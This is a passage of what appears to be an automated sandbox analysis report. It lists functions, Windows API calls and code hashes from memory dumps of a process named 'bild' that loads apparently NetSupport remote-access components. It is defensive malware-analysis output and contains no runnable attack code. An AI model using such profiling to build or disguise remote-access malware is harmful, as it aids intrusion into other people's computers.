Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction ID: 54b2584c526ac61f8aa3306390e259e673957fd90be6398fea32980b523eb801
Opcode Fuzzy Hash: 26224d68f3b9d4a1246f00074b5df241b75f7fb3c3b45871788fd623fb5031c3
Instruction Fuzzy Hash: EE1157B0911B148FC3A4CF7A88817C7FBE5BB58310F80892E96EEC2200DB716664CF94

Function 11144440 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 11144461
ExtractIconExA.SHELL32(?,00000000,00050469,00040493,00000001), ref: 11144498

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction ID: eab236796224ce85d4984e15688285b8376dcc0e4438f4162dfbb4c1a1faa056
Opcode Fuzzy Hash: 332011ad7d7a15df78cd41dd82658ea2b53a242fc2ea7d2347e2db9624e2eb71
Instruction Fuzzy Hash: 3EF0F0787581189FE708DFA0C892FF9B369F794709F444269E912C6184CE706A4C8B51

Function 11163DB7 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

__lock_file.LIBCMT ref: 11163DFE

Part of subcall function 1116AF99: __lock.LIBCMT ref: 1116AFBE

__fclose_nolock.LIBCMT ref: 11163E09

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction ID: 92e00479c768bfe57184568fb50af5c8f285ad3b4a4164507b2fffc520e9ca87
Opcode Fuzzy Hash: 7e8abcb520b3f17e3ade4ddc40c81544b3d820678823afdad6ab473755d4e59e
Instruction Fuzzy Hash: 5CF0F6348143079ED7119B79D80078EFBA86F0033CF518248C0289A0C0CBFA6521CE56

Function 6C5E6C1E Relevance: 3.0, APIs: 2, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C5E6C26
Sleep.KERNEL32(00000064), ref: 6C5E6C5B

Part of subcall function 6C5E6940: GetTickCount.KERNEL32 ref: 6C5E6950

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: f1395915c1e69caa02b37049a3f34b92a0f1bc81fe28f4ce928e322978903d14
Instruction ID: 5c06991088173c470f759b7a2080c7f30e7aae5c20f2013a738cd78e48c7af01
Opcode Fuzzy Hash: f1395915c1e69caa02b37049a3f34b92a0f1bc81fe28f4ce928e322978903d14
Instruction Fuzzy Hash: C6F03071700308CECF14EA6A9D9635CB6B1DBA639AF120037C616D6E90DF745884C749

Function 6C5D63A0 Relevance: 3.0, APIs: 2, Instructions: 10sleepnetworkCOMMON

Download Yara Rule

APIs

WSACancelBlockingCall.WSOCK32 ref: 6C5D63A9
Sleep.KERNEL32(00000032), ref: 6C5D63B3

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: BlockingCallCancelSleep
String ID:
API String ID: 3706969569-0
Opcode ID: c443bbb7c17a30be6c3a42f858cb2093c76a35b5b8b0053dda7328189b0e033c
Instruction ID: f274e3945454fef5c1105bf473dafe4b7b9938a92db539b2a6d72b189ff1db9d
Opcode Fuzzy Hash: c443bbb7c17a30be6c3a42f858cb2093c76a35b5b8b0053dda7328189b0e033c
Instruction Fuzzy Hash: 2FB092B0392350CDAF01177E4D0629A30D80FC424BF6208606A51CAD8AEF20D506A929

Function 11144EA0 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11144DC0: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,NSM.LIC), ref: 11144DE7

Part of subcall function 11163FED: __fsopen.LIBCMT ref: 11163FFA

GetLastError.KERNEL32(?,0286B8D0,000000FF,?), ref: 11144ED5
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,0286B8D0,000000FF,?), ref: 11144EE5

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction ID: cc8fd34c32098476147d622d57126809c91a32baa97f0e350d3592d26a0b2836
Opcode Fuzzy Hash: 31fc0bde93ac12b3b57265c96de8f634bcc1559677f471cf9725baf87a88f7fc
Instruction Fuzzy Hash: 8D110875D4411AEBD7119F94C9C4A6EF3BCEF85A29F200164FC0497A00E775AD11C7A3

Function 110106C0 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 11010774

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction ID: 0f97abe7109b731a14a0a5233c6982db04001c22e931a1e4a38e375530e3522e
Opcode Fuzzy Hash: b33c3b2a793c511d1b6f960a0ad5a8f3eee08100d5ee20f4381cce5b941f1766
Instruction Fuzzy Hash: D9515D74E00645DFDB04CF98C980AADBBF5BF88318F24829DD5869B385C776E942CB90

Function 11143000 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,75BF8400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction ID: 1cdda14904265755d753c391d3c49599355d775305d59026304f2c7825c43cec
Opcode Fuzzy Hash: c6c1c190ce3e4d21182f90f0e4bfd6bcd18f91cafc0a2026145ecac98104bfaa
Instruction Fuzzy Hash: 5D1193716282655AEB218E14D690BAFFBAAEFC5B24F30836AE51547E04C3329886C750

Function 110FACC0 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110FACED

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction ID: 5942e99df11cc5ddd12142181c934b3f7ef04b83757ceed83c361bf33f076152
Opcode Fuzzy Hash: e293ede8765d0badea50781af9c0a4ddb492315e77c2591cd008e5b0916e1792
Instruction Fuzzy Hash: 8911AC71E1011DDBDB11DFA8DC557EE73F8DB58305F0041D9E9099B240DA71AE488B90

Function 11170166 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,110310DF,00000000,?,11169DD4,?,110310DF,00000000,00000000,00000000,?,1116B767,00000001,00000214,?,1110F4AE), ref: 111701A9

Part of subcall function 111692EF: __getptd_noexit.LIBCMT ref: 111692EF

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction ID: 37eba9f6ddbe8283f17829f7b0a109b8136aa2f13792341ea1fc2e0acbbf6d66
Opcode Fuzzy Hash: 5fa111ebdd6cb86adb28227364e3270cd3b42bcfca1d5c7b723611f66f651fb7
Instruction Fuzzy Hash: 590124392013669BEB099F25EC60B5BB799AB83365F014529EC15CA3C0DB70D900C340

Function 6C5FA082 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,6C5F6F16,00000000,?,6C5FD40B,00000001,6C5F6F16,00000000,00000000,00000000,?,6C5F6F16,00000001,00000214), ref: 6C5FA0C5

Part of subcall function 6C5F60F9: __getptd_noexit.LIBCMT ref: 6C5F60F9

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 89cb6d38661ce6378b85d8364bcca7c80e1abfb69e8d54dd89df876cfeed6a89
Instruction ID: 007abf6902efb8a09d600b6b51ba5231d223184a43b03df5e63c19687b988cdf
Opcode Fuzzy Hash: 89cb6d38661ce6378b85d8364bcca7c80e1abfb69e8d54dd89df876cfeed6a89
Instruction Fuzzy Hash: 4B01D8313062119FFB1D9E26DC54B57376CEF81369F114629E835C7990DB75D802CE52

Function 111672E3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 111672EE

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: b67d37eb909022d12c4b3a5208e3be1f16578853890f7fcac85d973ba88585e6
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: C5C09B3705811D7F5F055DE5EC00C557F5DD6806747148156F91C89590DD73E561D540

Function 11163FED Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 11163FFA

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: 3fb95567750ac4c2837cb65daf82bfaf3169cdeaa60eaf7921ceae4fe4d00650
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: 76C0927645424C77DF112A82EC02E4A7F2E9BC0668F448060FB1C19160AAB3EA71DACA

Function 004B1000 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,?,004B10A2,00000000), ref: 004B100B

Memory Dump Source

Source File: 00000005.00000002.4161045215.00000000004B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000005.00000002.4160974107.00000000004B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4b0000_bild.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction ID: a6e21a181334ad8d68c0d1b68244e85e5dbeb702fee524da2babc4fc0ac728fe
Opcode Fuzzy Hash: 4d0d81f4ec4ebde950740ae3d3ffe2836bfeb21466b6828822f600e6eeb2d30b
Instruction Fuzzy Hash: 3EB092B212434D9B8714EE99E851CBB33DCAA98600B40080ABD0543682CA65FC60A675

Non-executed Functions

Function 1102D330 Relevance: 70.6, APIs: 21, Strings: 19, Instructions: 575sleepfileshutdownCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(111ED4B8), ref: 1102D382
Sleep.KERNEL32(0000EA60), ref: 1102D3A5

Part of subcall function 11026F20: PostThreadMessageA.USER32(00000000,00000501,1102D590,00000000), ref: 11026F72
Part of subcall function 11026F20: Sleep.KERNEL32(00000032,?,1102D590,00000001), ref: 11026F76
Part of subcall function 11026F20: PostThreadMessageA.USER32(00000000,00000012,00000000,00000000), ref: 11026F97
Part of subcall function 11026F20: WaitForSingleObject.KERNEL32(00000000,00000032,?,1102D590,00000001), ref: 11026FA2
Part of subcall function 11026F20: CloseHandle.KERNEL32(00000000,1102E392,?,1102D590,00000001), ref: 11026FB4
Part of subcall function 11026F20: FreeLibrary.KERNEL32(00000000,00000000,00000000,1102E392,?,1102D590,00000001), ref: 11026FE1

GetCurrentProcess.KERNEL32(00000020,00000000,00000000), ref: 1102D3AB
SetPriorityClass.KERNEL32(00000000), ref: 1102D3B2
SetEvent.KERNEL32(00000250), ref: 1102D3E7
Sleep.KERNEL32(000007D0), ref: 1102D4D8
PostThreadMessageA.USER32(00001E6C,00000000,00000000,00000000), ref: 1102D5BC
CloseHandle.KERNEL32(00000294), ref: 1102D815
_free.LIBCMT ref: 1102D825
_free.LIBCMT ref: 1102D841
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1102D8D4
GetFileAttributesA.KERNEL32(?), ref: 1102D8E1
_memset.LIBCMT ref: 1102D983
FindFirstFileA.KERNEL32(?,?,?,?,?,00000000,00000000), ref: 1102D99B
FindNextFileA.KERNEL32(00000000,00000010,?,?,?,00000000,00000000), ref: 1102D9C2
FindClose.KERNEL32(00000000,?,?,?,00000000,00000000), ref: 1102D9C9
ExitWindowsEx.USER32(00000002,00000000), ref: 1102DAB7
Sleep.KERNEL32(00002710), ref: 1102DABE
ExitWindowsEx.USER32(00000006,00000000), ref: 1102DAD4
Sleep.KERNEL32(000007D0), ref: 1102DAE0
ExitProcess.KERNEL32 ref: 1102DAF4

Strings

Warning. Unprocessed notify NC_CMD, cmd=%d, xrefs: 1102D719
